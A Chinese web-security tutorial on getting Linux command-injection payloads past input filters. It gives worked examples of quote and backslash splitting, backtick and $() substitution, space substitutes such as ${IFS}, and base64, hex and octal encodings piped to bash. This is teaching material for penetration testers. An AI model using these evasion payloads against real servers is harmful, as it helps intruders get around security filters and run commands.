五、Linux命令执行绕过技巧

Linux命令执行绕过指的是,你在进行web测试,已经拿到了找到了执行linux命令的地方,但是有过滤,比如输入ls会被过滤掉,但是l\s可能就不会过滤(l\s和ls一样同样能被执行)

一、连接符绕过

1.单引号

格式:l's'(两个单引号达到闭合,里面放置内容)
例如:ca't' 1'.'txt=cat 1.txt

2.双引号

格式:l"s"(两个双引号达到闭合,里面放置内容)
例如:ca"t" 1"."txt=cat 1.txt

3.反斜杠

格式:l\s
例如:ca\t 1\.txt=cat 1.txt

4.反引号

解释:这个跟之前不太一样,反引号里面的内容会被执行(反引号外面内容也会被单独执行),而执行后查看的内容会以报错的方式展示出来,反引号为`
格式:

15`who`15
结果:15jack未找到命令
其中的jack就是who执行后获得的结果

例如:

999`cat 1.txt`999
结果:999ak47999: command not found
ak47就是1.txt里面的第一行内容

关键:

上面的内容可能只能查看第一项(第一行)
建议用下面这种(其利用了反引号外面内容也会被单独执行)

cat `999`1.txt
结果:

Command '999' not found, did you mean:

  command 'c99' from deb gcc (4:9.3.0-1ubuntu2)
  command 'c99' from deb clang (1:10.0-50~exp1)

Try: apt install <deb name>

ak47
dwadwa
dwadaw
daw
daw
da
wd
aw
// 这样就读到了所有的内容

5.$()

解释:跟上面4.反引号完全一样,下面只举例一下$()外面内容也会被单独执行的情况

ca$(12)t 1.$(555550)txt
结果
12: command not found
555550: command not found
ak47
dwadwa
dwadaw
daw
daw
da
wd
aw

二、绕过空格

1.花括号

格式:{cat,1.txt}这样可以不用输入空格
示例:{cat,1.txt}=cat 1.txt

2.输入输出重定向

解释:linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,大于号>是输出重定向,比如一条命令,默认是将结果输出到屏幕

格式:cat<>1.txt如果不是查看文件,可能会把前面命令(此处cat)写入到相应位置(此处1.txt)

示例:cat<>1.txt=cat 1.txt

注意:有的情况下并不能使用,比如进入目录等

3.${IFS}

解释:${IFS}是分隔符的意思
格式:cat\${IFS}1.txt
示例:cat\${IFS}1.txt=cat 1.txt

4.进制

解释:看三

三、编码绕过

1.base64编码

解释:通过base64编码以此来混淆服务器过滤的筛选词语

格式:echo bHM=|base64 -d|bash解释:bHM=是ls的意思,echo bHM=将值bHM=传递给base64 -d(其会将其进行base64解码),base64 -d将解码后内容ls传递给bash运行

示例:echo Y2F0IDEudHh0|base64 -d|bash=cat 1.txt

2.十六进制编码

解释:所谓十六进制编码就是将字符串转换为ASCII然后将ASCII码对应的数字转换为十六进制,如a在ascii表为97,十六进制为61

示例:echo "2063617420312e747874"|xxd -r -p|bash(2063617420312e747874为cat 1.txt)

示例:$(printf "\x20\x63\x61\x74\x20\x31\x2e\x74\x78\x74")(\x20\x63\x61\x74\x20\x31\x2e\x74\x78\x74是cat 1.txt)

注意:很可能十六进制在目标服务器上解析不了,但可能能够解析八进制的内容

3.八进制编码

解释:xxd转属于16进制转换,在linux中八进制转换并没有类似的

示例:$(printf "\154\163")(\154\163是ls)
注意:很可能八进制在目标服务器上解析不了,但可能能够解析十六进制的内容

你可能感兴趣的:(#,Web安全,linux,运维,服务器)